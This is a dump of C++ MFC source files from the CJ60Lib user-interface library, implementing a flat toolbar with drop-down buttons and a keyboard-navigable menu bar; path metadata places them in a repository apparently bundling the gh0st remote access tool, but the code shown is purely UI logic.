FBTRACE(_T("CFlatToolBar::CFlatToolBar, comctl32 version = %d\n"),
iVerComCtl32);
m_bDrawDisabledButtonsInColor = FALSE; // don't use color
m_bInCoolBar = FALSE; // assume not inside coolbar
m_pDropDownButtons = NULL; // list of drop-down buttons
m_bShowDropdownArrowWhenVertical = TRUE;
m_bNoEntry = FALSE;
}
CFlatToolBar::~CFlatToolBar()
{
while (m_pDropDownButtons) {
DROPDOWNBUTTON* pnext = m_pDropDownButtons->next;
delete m_pDropDownButtons;
m_pDropDownButtons = pnext;
}
}
/////////////////
// Create handler: set flat style by default
//
int CFlatToolBar::OnCreate(LPCREATESTRUCT lpcs)
{
if (CFlatToolBarBase::OnCreate(lpcs) == -1)
return -1;
ModifyStyle(0, TBSTYLE_FLAT);
return 0; // OK
}
////////////////
// Load function sets flat style after loading buttons.
//
BOOL CFlatToolBar::LoadToolBar(LPCTSTR lpszResourceName)
{
// Set transparent/flat style before loading buttons to allow zero-height
// border. This required because of bug in comctl32.dll that always adds
// a border, unless flat/transparent.
//
DWORD dwStyle = GetStyle();
ModifyStyle(0, TBSTYLE_FLAT|TBSTYLE_TRANSPARENT);
BOOL bRet = CFlatToolBarBase::LoadToolBar(lpszResourceName);
SetWindowLong(m_hWnd, GWL_STYLE, dwStyle);
return bRet;
}
//////////////////
// Calcluate size of client area. Adds room for grippers
//
void CFlatToolBar::OnNcCalcSize(BOOL bCalc, NCCALCSIZE_PARAMS* pncp)
{
if (m_bInCoolBar) { // if I am in a coolbar (rebar):
Default(); // ..bypass CToolBar/CControlBar
} else {
CRect& rc = (CRect&)pncp->rgrc[0]; // rect to return
// copied from MFC below:
CRect rcMargin(0,0,0,0);
CControlBar::CalcInsideRect(rcMargin, m_dwStyle & CBRS_ORIENT_HORZ);
// adjust non-client area for border space
rc.left += rcMargin.left;
rc.top += rcMargin.top; // MFC has -2 here, bug for newer comctl32
rc.right += rcMargin.right;
rc.bottom+= rcMargin.bottom;
}
}
//////////////////
// MFC doesn't handle moving a TBSTYLE_FLAT toolbar correctly. The simplest
// way to fix it is to repaint whatever was underneath whenever the toolbar
// moves. This is done in this and the following function. All this stuff is
// only required because flat toolbars paint transparently (don't paint their
// backgrounds).
//
void CFlatToolBar::OnWindowPosChanging(LPWINDOWPOS lpwp)
{
if (m_bInCoolBar)
// inside coolbars, don't do MFC thing
Default();
else {
CFlatToolBarBase::OnWindowPosChanging(lpwp);
if (!(lpwp->flags & SWP_NOMOVE))
GetWindowRect(&m_rcOldPos); // remember old position
}
}
//////////////////
// Now toolbar has really moved: repaint area beneath old position
//
void CFlatToolBar::OnWindowPosChanged(LPWINDOWPOS lpwp)
{
if (m_bInCoolBar) {
Default();
} else {
CFlatToolBarBase::OnWindowPosChanged(lpwp);
if (!(lpwp->flags & SWP_NOMOVE)) { // if moved:
InvalidateOldPos(m_rcOldPos); // invalidate area of old position
// Now paint my non-client area at the new location.
// Without this, you will still have a partial display bug (try it!)
SendMessage(WM_NCPAINT);
}
}
}
//////////////////
// Invalidate toolbar rectangle. Because flat toolbars are transparent,
// this requires invalidating parent and all siblings that intersect the
// rectangle.
//
void CFlatToolBar::InvalidateOldPos(const CRect& rcInvalid)
{
// make parent paint the area beneath rectangle
CWnd* pParent = GetParent(); // parent (dock bar/frame) window
ASSERT_VALID(pParent); // check
CRect rc = rcInvalid; // copy rectangle
pParent->ScreenToClient(&rc); // convert to parent client coords
pParent->InvalidateRect(&rc); // invalidate
// now do same for each sibling too
for (CWnd* pSib = pParent->GetWindow(GW_CHILD);
pSib;
pSib=pSib->GetNextWindow(GW_HWNDNEXT)) {
CRect rc; // window rect of sibling
pSib->GetWindowRect(&rc); // ...
if (rc.IntersectRect(rc, rcInvalid)) { // if intersects invalid rect
pSib->ScreenToClient(&rc); // convert to sibling coords
pSib->InvalidateRect(&rc); // invalidate
pSib->SendMessage(WM_NCPAINT); // nonclient area too!
}
}
}
////////////////
// Override to avoid MFC in case I'm inside a coolbar
//
BOOL CFlatToolBar::OnEraseBkgnd(CDC* pDC)
{
return m_bInCoolBar ? Default() : CFlatToolBarBase::OnEraseBkgnd(pDC);
}
//////////////////
// If toolbar is inside a coolbar, need to make the parent frame
// my owner so it will get notifications.
//
BOOL CFlatToolBar::OnNcCreate(LPCREATESTRUCT lpcs)
{
CWnd* pParent = GetParent();
ASSERT(pParent);
TCHAR classname[64];
GetClassName(pParent->m_hWnd, classname, countof(classname));
if (_tcscmp(classname, REBARCLASSNAME)==0) {
CFrameWnd* pFrame = GetParentFrame();
ASSERT_VALID(pFrame);
SetOwner(pFrame);
m_bInCoolBar = TRUE;
}
return CFlatToolBarBase::OnNcCreate(lpcs);
}
//////////////////
// Avoid MFC if I'm inside a coolbar
//
void CFlatToolBar::OnPaint()
{
if (m_bInCoolBar)
Default(); // bypass CToolBar/CControlBar
else
CFlatToolBarBase::OnPaint();
}
////////////////////////////////////////////////////////////////
// Stuff for handling drop-down buttons in toobars
//
//////////////////
// Add dropdown buttons.
// The manager takes care of setting appropriate styles, etc.
//
// Args:
// - array of LONGs: MAKELONG(commandID, menuID)
// - number of buttons
//
BOOL CFlatToolBar::AddDropDownButton(UINT nIDButton, UINT nIDMenu, BOOL bArrow)
{
ASSERT_VALID(this);
DROPDOWNBUTTON* pb = FindDropDownButton(nIDButton);
if (!pb) {
pb = new DROPDOWNBUTTON;
ASSERT(pb);
pb->next = m_pDropDownButtons;
m_pDropDownButtons = pb;
}
pb->idButton = nIDButton;
pb->idMenu = nIDMenu;
int iButton = CommandToIndex(nIDButton);
DWORD dwStyle = GetButtonStyle(iButton);
dwStyle |= TBSTYLE_DROPDOWN;
SetButtonStyle(iButton, dwStyle);
if (bArrow)
SetExtendedStyle(TBSTYLE_EX_DRAWDDARROWS);
return TRUE;
}
//////////////////
// Find buttons structure for given ID
//
DROPDOWNBUTTON* CFlatToolBar::FindDropDownButton(UINT nID)
{
for (DROPDOWNBUTTON* pb = m_pDropDownButtons; pb; pb = pb->next) {
if (pb->idButton == nID)
return pb;
}
return NULL;
}
//////////////////
// Handle TBN_DROPDOWN
// Default is to display the specified menu at the right place.
// You can override to generate dynamic menus
//
// Args:
// - NMTOOLBAR struct from TBN_DROPDOWN
// - command id of button
// - point to display menu at
//
void CFlatToolBar::OnTbnDropDown(NMHDR* pNMHDR, LRESULT* pRes)
{
const NMTOOLBAR& nmtb = *(NMTOOLBAR*)pNMHDR;
// get location of button
CRect rc;
GetRect(nmtb.iItem, rc);
ClientToScreen(&rc);
// call virtual function to display dropdown menu
OnDropDownButton(nmtb, nmtb.iItem, rc);
}
/////////////////
// Virtual fn you can override to hand drop-down button
// events with more friendly args
//
void CFlatToolBar::OnDropDownButton(const NMTOOLBAR& nmtb, UINT nID, CRect rc)
{
DROPDOWNBUTTON* pb = FindDropDownButton(nmtb.iItem);
if (pb && pb->idMenu) {
// load and display popup menu
CMenu menu;
VERIFY(menu.LoadMenu(pb->idMenu));
CMenu* pPopup = menu.GetSubMenu(0);
ASSERT(pPopup);
pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
rc.left, rc.bottom, GetOwner(), &rc);
}
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/FlatBar.cpp | C++ | asf20 | 9,159 |
// stdafx.cpp : source file that includes just the standard includes
// CJ60Lib.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/stdafx.cpp | C++ | asf20 | 209 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CMenuBar implements menu bar for MFC. See MenuBar.h for how
// to use, and also the MBTest sample application.
//
#include "StdAfx.h"
#include "MenuBar.h"
const UINT MB_SET_MENU_NULL = WM_USER + 1100;
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
// if you want to see extra TRACE diagnostics, set CMenuBar::bTRACE = TRUE
BOOL CMenuBar::bTRACE = FALSE;
#ifdef _DEBUG
#define MBTRACEFN \
CTraceFn __fooble; \
if (CMenuBar::bTRACE)\
TRACE
#define MBTRACE \
if (CMenuBar::bTRACE)\
TRACE
#else
#define MBTRACEFN TRACE
#define MBTRACE TRACE
#endif
IMPLEMENT_DYNAMIC(CMenuBar, CCJToolBar)
BEGIN_MESSAGE_MAP(CMenuBar, CCJToolBar)
ON_WM_CREATE()
ON_WM_LBUTTONDOWN()
ON_WM_MOUSEMOVE()
ON_WM_SIZE()
ON_UPDATE_COMMAND_UI_RANGE(0, 256, OnUpdateMenuButton)
ON_MESSAGE(MB_SET_MENU_NULL, OnSetMenuNull)
END_MESSAGE_MAP()
CMenuBar::CMenuBar()
{
if (iVerComCtl32 <= 470)
AfxMessageBox(_T("Warning: This program requires comctl32.dll version 4.71 or greater."));
m_iTrackingState = TRACK_NONE; // initial state: not tracking
m_iPopupTracking = m_iNewPopup = -1; // invalid
m_hmenu = NULL;
m_bAutoRemoveFrameMenu = TRUE; // set frame's menu to NULL
}
CMenuBar::~CMenuBar()
{
}
//////////////////
// Menu bar was created: install hook into owner window
//
int CMenuBar::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CCJToolBar::OnCreate(lpCreateStruct)==-1)
return -1;
UpdateFont();
CWnd* pFrame = GetOwner();
ASSERT_VALID(pFrame);
m_frameHook.Install(this, *pFrame);
return 0; // OK
}
//////////////////
// Set menu bar font from current system menu font
//
void CMenuBar::UpdateFont()
{
static CFont font;
NONCLIENTMETRICS info;
info.cbSize = sizeof(info);
SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(info), &info, 0);
if ((HFONT)font)
font.DeleteObject();
VERIFY(font.CreateFontIndirect(&info.lfMenuFont));
SetFont(&font);
}
//////////////////
// The reason for having this is so MFC won't automatically disable
// the menu buttons. Assumes < 256 top-level menu items. The ID of
// the ith menu button is i. IOW, the index and ID are the same.
//
void CMenuBar::OnUpdateMenuButton(CCmdUI* pCmdUI)
{
ASSERT_VALID(this);
if (IsValidButton(pCmdUI->m_nID))
pCmdUI->Enable(TRUE);
}
//////////////////
// Recompute layout of menu bar
//
void CMenuBar::RecomputeMenuLayout()
{
SetWindowPos(NULL, 0, 0, 0, 0, SWP_FRAMECHANGED | SWP_NOACTIVATE |
SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER);
}
//////////////////
// Make frame recalculate control bar sizes after menu change
//
void CMenuBar::RecomputeToolbarSize()
{
// Force toolbar to recompute size
CFrameWnd* pFrame = (CFrameWnd*)GetOwner();
ASSERT_VALID(pFrame);
ASSERT(pFrame->IsFrameWnd());
pFrame->RecalcLayout();
// floating frame
pFrame = GetParentFrame();
if (pFrame->IsKindOf(RUNTIME_CLASS(CMiniFrameWnd)))
pFrame->RecalcLayout();
}
//////////////////
// Set tracking state: none, button, or popup
//
void CMenuBar::SetTrackingState(TRACKINGSTATE iState, int iButton)
{
ASSERT_VALID(this);
if (iState != m_iTrackingState) {
if (iState == TRACK_NONE)
iButton = -1;
#ifdef _DEBUG
static LPCTSTR StateName[] = { _T("NONE"), _T("BUTTON"), _T("POPUP") };
MBTRACE(_T("CMenuBar::SetTrackingState to %s, button=%d\n"),
StateName[iState], iButton);
#endif
SetHotItem(iButton); // could be none (-1)
if (iState==TRACK_POPUP) {
// set related state stuff
m_bEscapeWasPressed = FALSE; // assume Esc key not pressed
m_bProcessRightArrow = // assume left/right arrow..
m_bProcessLeftArrow = TRUE; // ..will move to prev/next popup
m_iPopupTracking = iButton; // which popup I'm tracking
}
m_iTrackingState = iState;
}
}
//////////////////
// Toggle state from home state to button-tracking and back
//
void CMenuBar::ToggleTrackButtonMode()
{
ASSERT_VALID(this);
if (m_iTrackingState == TRACK_NONE || m_iTrackingState == TRACK_BUTTON) {
SetTrackingState(m_iTrackingState == TRACK_NONE ?
TRACK_BUTTON : TRACK_NONE, 0);
}
}
//////////////////
// Get button index before/after a given button
//
int CMenuBar::GetNextOrPrevButton(int iButton, BOOL bPrev)
{
ASSERT_VALID(this);
if (bPrev) {
iButton--;
if (iButton <0)
iButton = GetButtonCount() - 1;
} else {
iButton++;
if (iButton >= GetButtonCount())
iButton = 0;
}
return iButton;
}
/////////////////
// This is to correct a bug in the system toolbar control: TB_HITTEST only
// looks at the buttons, not the size of the window. So it returns a button
// hit even if that button is totally outside the size of the window!
//
int CMenuBar::HitTest(CPoint p) const
{
int iHit = CCJToolBar::HitTest(p);
if (iHit>0) {
CRect rc;
GetClientRect(&rc);
if (!rc.PtInRect(p)) // if point is outside window
iHit = -1; // can't be a hit!
}
return iHit;
}
//////////////////
// Load a different menu. The HMENU must not belong to any CMenu,
// and you must free it when you're done. Returns old menu.
//
HMENU CMenuBar::LoadMenu(HMENU hmenu)
{
MBTRACEFN(_T("CMenuBar::LoadMenu\n"));
UINT iPrevID=(UINT)-1;
ASSERT(::IsMenu(hmenu));
ASSERT_VALID(this);
if (m_bAutoRemoveFrameMenu) {
CFrameWnd* pFrame = GetParentFrame();
if (::GetMenu(*pFrame)!=NULL) {
// I would like to set the frame's menu to NULL now, but if I do, MFC
// gets all upset: it calls GetMenu and expects to have a real menu.
// So Instead, I post a message to myself. Because the message is
// posted, not sent, I won't process it until MFC is done with all its
// initialization stuff. (MFC needs to set CFrameWnd::m_hMenuDefault
// to the menu, which it gets by calling GetMenu.)
//
PostMessage(MB_SET_MENU_NULL, (WPARAM)pFrame->GetSafeHwnd());
}
}
HMENU hOldMenu = m_hmenu;
m_hmenu = hmenu;
// delete existing buttons
int nCount = GetButtonCount();
while (nCount--) {
VERIFY(DeleteButton(0));
}
SetImageList(NULL);
// SetButtonSize(CSize(0,0)); // This barfs in VC 6.0
DWORD dwStyle = GetStyle();
BOOL bModifyStyle = ModifyStyle(0, TBSTYLE_FLAT|TBSTYLE_TRANSPARENT);
// add text buttons
UINT nMenuItems = hmenu ? ::GetMenuItemCount(hmenu) : 0;
for (UINT i=0; i < nMenuItems; i++) {
TCHAR name[64];
memset(name, 0, sizeof(name)); // guarantees double-0 at end
if (::GetMenuString(hmenu, i, name, countof(name)-1, MF_BYPOSITION)) {
TBBUTTON tbb;
memset(&tbb, 0, sizeof(tbb));
tbb.idCommand = ::GetMenuItemID(hmenu, i);
// Because the toolbar is too brain-damaged to know if it already has
// a string, and is also too brain-dead to even let you delete strings,
// I have to determine if each string has been added already. Otherwise
// in a MDI app, as the menus are repeatedly switched between doc and
// no-doc menus, I will keep adding strings until somebody runs out of
// memory. Sheesh!
//
int iString = -1;
for (int j=0; j<m_arStrings.GetSize(); j++) {
if (m_arStrings[j] == name) {
iString = j; // found it
break;
}
}
if (iString <0) {
// string not found: add it
iString = AddStrings(name);
m_arStrings.SetAtGrow(iString, name);
}
tbb.iString = iString;
tbb.fsState = TBSTATE_ENABLED;
tbb.fsStyle = TBSTYLE_AUTOSIZE;
tbb.iBitmap = -1;
tbb.idCommand = i;
VERIFY(AddButtons(1, &tbb));
}
}
if (bModifyStyle)
SetWindowLong(m_hWnd, GWL_STYLE, dwStyle);
if (hmenu) {
AutoSize(); // size buttons
RecomputeToolbarSize(); // and menubar itself
}
return hOldMenu;
}
//////////////////
// Load menu from resource
//
HMENU CMenuBar::LoadMenu(LPCSTR lpszMenuName)
{
return LoadMenu(::LoadMenu(AfxGetResourceHandle(), lpszMenuName));
}
//////////////////
// Set the frame's menu to NULL. WPARAM is HWND of frame.
//
LRESULT CMenuBar::OnSetMenuNull(WPARAM wp, LPARAM lp)
{
HWND hwnd = (HWND)wp;
ASSERT(::IsWindow(hwnd));
::SetMenu(hwnd, NULL);
return 0;
}
//////////////////
// Handle mouse click: if clicked on button, press it
// and go into main menu loop.
//
void CMenuBar::OnLButtonDown(UINT nFlags, CPoint pt)
{
MBTRACEFN(_T("CMenuBar::OnLButtonDown\n"));
ASSERT_VALID(this);
int iButton = HitTest(pt);
if (iButton >= 0 && iButton<GetButtonCount()) // if mouse is over a button:
TrackPopup(iButton); // track it
else // otherwise:
CCJToolBar::OnLButtonDown(nFlags, pt); // pass it on...
}
//////////////////
// Handle mouse movement
//
void CMenuBar::OnMouseMove(UINT nFlags, CPoint pt)
{
ASSERT_VALID(this);
if (m_iTrackingState==TRACK_BUTTON) {
// In button-tracking state, ignore mouse-over to non-button area.
// Normally, the toolbar would de-select the hot item in this case.
//
// Only change the hot item if the mouse has actually moved.
// This is necessary to avoid a bug where the user moves to a different
// button from the one the mouse is over, and presses arrow-down to get
// the menu, then Esc to cancel it. Without this code, the button will
// jump to wherever the mouse is--not right.
int iHot = HitTest(pt);
if (IsValidButton(iHot) && pt != m_ptMouse)
SetHotItem(iHot);
return; // don't let toolbar get it
}
m_ptMouse = pt; // remember point
CCJToolBar::OnMouseMove(nFlags, pt);
}
//////////////////
// Window was resized: need to recompute layout
//
void CMenuBar::OnSize(UINT nType, int cx, int cy)
{
CCJToolBar::OnSize(nType, cx, cy);
RecomputeMenuLayout();
}
//////////////////
// Bar style changed: eg, moved from left to right dock or floating
//
void CMenuBar::OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle)
{
CCJToolBar::OnBarStyleChange(dwOldStyle, dwNewStyle);
RecomputeMenuLayout();
}
/////////////////
// When user selects a new menu item, note whether it has a submenu
// and/or parent menu, so I know whether right/left arrow should
// move to the next popup.
//
void CMenuBar::OnMenuSelect(HMENU hmenu, UINT iItem)
{
if (m_iTrackingState > 0) {
// process right-arrow iff item is NOT a submenu
m_bProcessRightArrow = (::GetSubMenu(hmenu, iItem) == NULL);
// process left-arrow iff curent menu is one I'm tracking
m_bProcessLeftArrow = hmenu==m_hMenuTracking;
}
}
// globals--yuk! But no other way using windows hooks.
//
static CMenuBar* g_pMenuBar = NULL;
static HHOOK g_hMsgHook = NULL;
////////////////
// Menu filter hook just passes to virtual CMenuBar function
//
LRESULT CALLBACK
CMenuBar::MenuInputFilter(int code, WPARAM wp, LPARAM lp)
{
return (code==MSGF_MENU && g_pMenuBar &&
g_pMenuBar->OnMenuInput(*((MSG*)lp))) ? TRUE
: CallNextHookEx(g_hMsgHook, code, wp, lp);
}
//////////////////
// Handle menu input event: Look for left/right to change popup menu,
// mouse movement over over a different menu button for "hot" popup effect.
// Returns TRUE if message handled (to eat it).
//
BOOL CMenuBar::OnMenuInput(MSG& m)
{
ASSERT_VALID(this);
ASSERT(m_iTrackingState == TRACK_POPUP); // sanity check
int msg = m.message;
if (msg==WM_KEYDOWN) {
// handle left/right-arow.
TCHAR vkey = m.wParam;
if ((vkey == VK_LEFT && m_bProcessLeftArrow) ||
(vkey == VK_RIGHT && m_bProcessRightArrow)) {
MBTRACE(_T("CMenuBar::OnMenuInput: handle VK_LEFT/RIGHT\n"));
CancelMenuAndTrackNewOne(
GetNextOrPrevButton(m_iPopupTracking, vkey==VK_LEFT));
return TRUE; // eat it
} else if (vkey == VK_ESCAPE) {
m_bEscapeWasPressed = TRUE; // (menu will abort itself)
}
} else if (msg==WM_MOUSEMOVE || msg==WM_LBUTTONDOWN) {
// handle mouse move or click
CPoint pt = m.lParam;
ScreenToClient(&pt);
if (msg == WM_MOUSEMOVE) {
if (pt != m_ptMouse) {
int iButton = HitTest(pt);
if (IsValidButton(iButton) && iButton != m_iPopupTracking) {
// user moved mouse over a different button: track its popup
CancelMenuAndTrackNewOne(iButton);
}
m_ptMouse = pt;
}
} else if (msg == WM_LBUTTONDOWN) {
if (HitTest(pt) == m_iPopupTracking) {
// user clicked on same button I am tracking: cancel menu
MBTRACE(_T("CMenuBar:OnMenuInput: handle mouse click to exit popup\n"));
CancelMenuAndTrackNewOne(-1);
return TRUE; // eat it
}
}
}
return FALSE; // not handled
}
//////////////////
// Cancel the current popup menu by posting WM_CANCELMODE, and track a new
// menu. iNewPopup is which new popup to track (-1 to quit).
//
void CMenuBar::CancelMenuAndTrackNewOne(int iNewPopup)
{
MBTRACE(_T("CMenuBar::CancelMenuAndTrackNewOne: %d\n"), iNewPopup);
ASSERT_VALID(this);
if (iNewPopup != m_iPopupTracking) {
GetOwner()->PostMessage(WM_CANCELMODE); // quit menu loop
m_iNewPopup = iNewPopup; // go to this popup (-1 = quit)
}
}
//////////////////
// Track the popup submenu associated with the i'th button in the menu bar.
// This fn actually goes into a loop, tracking different menus until the user
// selects a command or exits the menu.
//
void CMenuBar::TrackPopup(int iButton)
{
MBTRACE(_T("CMenuBar::TrackPopup %d\n"), iButton);
ASSERT_VALID(this);
ASSERT(m_hmenu);
CMenu menu;
menu.Attach(m_hmenu);
int nMenuItems = menu.GetMenuItemCount();
while (iButton >= 0) { // while user selects another menu
m_iNewPopup = -1; // assume quit after this
PressButton(iButton, TRUE); // press the button
UpdateWindow(); // and force repaint now
// post a simulated arrow-down into the message stream
// so TrackPopupMenu will read it and move to the first item
GetOwner()->PostMessage(WM_KEYDOWN, VK_DOWN, 1);
GetOwner()->PostMessage(WM_KEYUP, VK_DOWN, 1);
SetTrackingState(TRACK_POPUP, iButton); // enter tracking state
// Need to install a hook to trap menu input in order to make
// left/right-arrow keys and "hot" mouse tracking work.
//
ASSERT(g_pMenuBar == NULL);
g_pMenuBar = this;
ASSERT(g_hMsgHook == NULL);
g_hMsgHook = SetWindowsHookEx(WH_MSGFILTER,
MenuInputFilter, NULL, ::GetCurrentThreadId());
// get submenu and display it beneath button
TPMPARAMS tpm;
CRect rcButton;
GetRect(iButton, rcButton);
ClientToScreen(&rcButton);
CPoint pt = ComputeMenuTrackPoint(rcButton, tpm);
HMENU hMenuPopup = ::GetSubMenu(m_hmenu, iButton);
ASSERT(hMenuPopup);
BOOL bRet = TrackPopupMenuEx(hMenuPopup,
TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
pt.x, pt.y, GetOwner()->GetSafeHwnd(), &tpm);
// uninstall hook.
::UnhookWindowsHookEx(g_hMsgHook);
g_hMsgHook = NULL;
g_pMenuBar = NULL;
PressButton(iButton, FALSE); // un-press button
UpdateWindow(); // and force repaint now
// If the user exited the menu loop by pressing Escape,
// return to track-button state; otherwise normal non-tracking state.
SetTrackingState(m_bEscapeWasPressed ?
TRACK_BUTTON : TRACK_NONE, iButton);
// If the user moved mouse to a new top-level popup (eg from File to
// Edit button), I will have posted a WM_CANCELMODE to quit
// the first popup, and set m_iNewPopup to the new menu to show.
// Otherwise, m_iNewPopup will be -1 as set above.
// So just set iButton to the next popup menu and keep looping...
iButton = m_iNewPopup;
}
menu.Detach();
}
//////////////////
// Given button rectangle, compute point and "exclude rect" for
// TrackPopupMenu, based on current docking style, so that the menu will
// appear always inside the window.
//
CPoint CMenuBar::ComputeMenuTrackPoint(const CRect& rcButn, TPMPARAMS& tpm)
{
tpm.cbSize = sizeof(tpm);
DWORD dwStyle = m_dwStyle;
CPoint pt;
CRect& rcExclude = (CRect&)tpm.rcExclude;
rcExclude = rcButn;
::GetWindowRect(::GetDesktopWindow(), &rcExclude);
switch (dwStyle & CBRS_ALIGN_ANY) {
case CBRS_ALIGN_BOTTOM:
pt = CPoint(rcButn.left, rcButn.top);
rcExclude.top = rcButn.top;
break;
case CBRS_ALIGN_LEFT:
pt = CPoint(rcButn.right, rcButn.top);
rcExclude.right = rcButn.right;
break;
case CBRS_ALIGN_RIGHT:
pt = CPoint(rcButn.left, rcButn.top);
rcExclude.left = rcButn.left;
break;
default: // case CBRS_ALIGN_TOP:
pt = CPoint(rcButn.left, rcButn.bottom);
break;
}
return pt;
}
//////////////////
// This function translates special menu keys and mouse actions.
// You must call it from your frame's PreTranslateMessage.
//
BOOL CMenuBar::TranslateFrameMessage(MSG* pMsg)
{
ASSERT_VALID(this);
ASSERT(pMsg);
UINT msg = pMsg->message;
if (WM_LBUTTONDOWN <= msg && msg <= WM_MOUSELAST) {
if (pMsg->hwnd != m_hWnd && m_iTrackingState > 0) {
// user clicked outside menu bar: exit tracking mode
MBTRACE(_T("CMenuBar::TranslateFrameMessage: user clicked outside menu bar: end tracking\n"));
SetTrackingState(TRACK_NONE);
}
} else if (msg==WM_SYSKEYDOWN || msg==WM_SYSKEYUP || msg==WM_KEYDOWN) {
BOOL bAlt = HIWORD(pMsg->lParam) & KF_ALTDOWN; // Alt key down
TCHAR vkey = pMsg->wParam; // get virt key
if (vkey==VK_MENU ||
(vkey==VK_F10 && !((GetKeyState(VK_SHIFT) & 0x80000000) ||
(GetKeyState(VK_CONTROL) & 0x80000000) || bAlt))) {
// key is VK_MENU or F10 with no alt/ctrl/shift: toggle menu mode
if (msg==WM_SYSKEYUP) {
MBTRACE(_T("CMenuBar::TranslateFrameMessage: handle menu key\n"));
ToggleTrackButtonMode();
}
return TRUE;
} else if ((msg==WM_SYSKEYDOWN || msg==WM_KEYDOWN)) {
if (m_iTrackingState == TRACK_BUTTON) {
// I am tracking: handle left/right/up/down/space/Esc
switch (vkey) {
case VK_LEFT:
case VK_RIGHT:
// left or right-arrow: change hot button if tracking buttons
MBTRACE(_T("CMenuBar::TranslateFrameMessage: VK_LEFT/RIGHT\n"));
SetHotItem(GetNextOrPrevButton(GetHotItem(), vkey==VK_LEFT));
return TRUE;
case VK_SPACE: // (personally, I like SPACE to enter menu too)
case VK_UP:
case VK_DOWN:
// up or down-arrow: move into current menu, if any
MBTRACE(_T("CMenuBar::TranslateFrameMessage: VK_UP/DOWN/SPACE\n"));
TrackPopup(GetHotItem());
return TRUE;
case VK_ESCAPE:
// escape key: exit tracking mode
MBTRACE(_T("CMenuBar::TranslateFrameMessage: VK_ESCAPE\n"));
SetTrackingState(TRACK_NONE);
return TRUE;
}
}
// Handle alphanumeric key: invoke menu. Note that Alt-X
// chars come through as WM_SYSKEYDOWN, plain X as WM_KEYDOWN.
if ((bAlt || m_iTrackingState == TRACK_BUTTON) && isalnum(vkey)) {
// Alt-X, or else X while in tracking mode
UINT nID;
if (MapAccelerator(vkey, nID)) {
MBTRACE(_T("CMenuBar::TranslateFrameMessage: map acclerator\n"));
TrackPopup(nID); // found menu mnemonic: track it
return TRUE; // handled
} else if (m_iTrackingState==TRACK_BUTTON && !bAlt) {
MessageBeep(0);
return TRUE;
}
}
// Default for any key not handled so far: return to no-menu state
if (m_iTrackingState > 0) {
MBTRACE(_T("CMenuBar::TranslateFrameMessage: unknown key, stop tracking\n"));
SetTrackingState(TRACK_NONE);
}
}
}
return FALSE; // not handled, pass along
}
#ifdef _DEBUG
void CMenuBar::AssertValid() const
{
CCJToolBar::AssertValid();
ASSERT(m_hmenu==NULL || ::IsMenu(m_hmenu));
ASSERT(TRACK_NONE<=m_iTrackingState && m_iTrackingState<=TRACK_POPUP);
m_frameHook.AssertValid();
}
void CMenuBar::Dump(CDumpContext& dc) const
{
CCJToolBar::Dump(dc);
}
#endif
//////////////////////////////////////////////////////////////////
// CMenuBarFrameHook is used to trap menu-related messages sent to the owning
// frame. The same class is also used to trap messages sent to the MDI client
// window in an MDI app. I should really use two classes for this,
// but it uses less code to chare the same class. Note however: there
// are two different INSTANCES of CMenuBarFrameHook in CMenuBar: one for
// the frame and one for the MDI client window.
//
CMenuBarFrameHook::CMenuBarFrameHook()
{
}
CMenuBarFrameHook::~CMenuBarFrameHook()
{
HookWindow((HWND)NULL); // (unhook)
}
//////////////////
// Install hook to trap window messages sent to frame or MDI client.
//
BOOL CMenuBarFrameHook::Install(CMenuBar* pMenuBar, HWND hWndToHook)
{
ASSERT_VALID(pMenuBar);
m_pMenuBar = pMenuBar;
return HookWindow(hWndToHook);
}
//////////////////////////////////////////////////////////////////
// Trap frame/MDI client messages specific to menubar.
//
LRESULT CMenuBarFrameHook::WindowProc(UINT msg, WPARAM wp, LPARAM lp)
{
CMenuBar& mb = *m_pMenuBar;
switch (msg) {
// The following messages are trapped for the frame window
case WM_SYSCOLORCHANGE:
mb.UpdateFont();
break;
case WM_MENUSELECT:
mb.OnMenuSelect((HMENU)lp, (UINT)LOWORD(wp));
break;
}
return CSubclassWnd::WindowProc(msg, wp, lp);
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/MenuBar.cpp | C++ | asf20 | 21,399 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef _GLOBALS_H
#define _GLOBALS_H
#define countof(x) (sizeof(x)/sizeof(x[0]))
#ifdef _DEBUG
//////////////////
// TRACEFN is a macro that lets you generate indented TRACE output so you
// can see the call stack. To use it:
//
// SomeFn(...)
// {
// TRACEFN("Entering SomeFn...\n");
// .
// .
// }
//
// Now all trace output after TRACEFN will be indented one space, until SomeFn
// returns. You can put TRACEFN in multiple functions to see indented trace
// output. For an example of this, see the HOOK sample program.
//
// NOTE: YOU MUST NOT USE TRACEFN IN A ONE-LINE IF STATEMENT!
// This will fail:
//
// if (foo)
// TRACEFN(...)
//
// Instead, you must enclose the TRACE in squiggle-brackets
//
// if (foo) {
// TRACEFN(...)
// }
//
#define TRACEFN CTraceFn __fooble; TRACE
//
// This class implements TRACEFN. Don't ever use directly!
//
class CTraceFn {
private:
static int nIndent; // current indent level
friend void AFX_CDECL AfxTrace(LPCTSTR lpszFormat, ...);
public:
CTraceFn() { nIndent++; } // constructor bumps indent
~CTraceFn() { nIndent--; } // destructor restores it
};
#else // NOT _DEBUG
#define TRACEFN TRACE
#endif // _DEBUG
#endif // _GLOBALS_H
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/Globals.h | C++ | asf20 | 1,456 |
////////////////////////////////////////////////////////////////
// Copyright 1999 Mike Manzo
// Class: CCJTabView
// ==========================================================================
// HISTORY:
// ==========================================================================
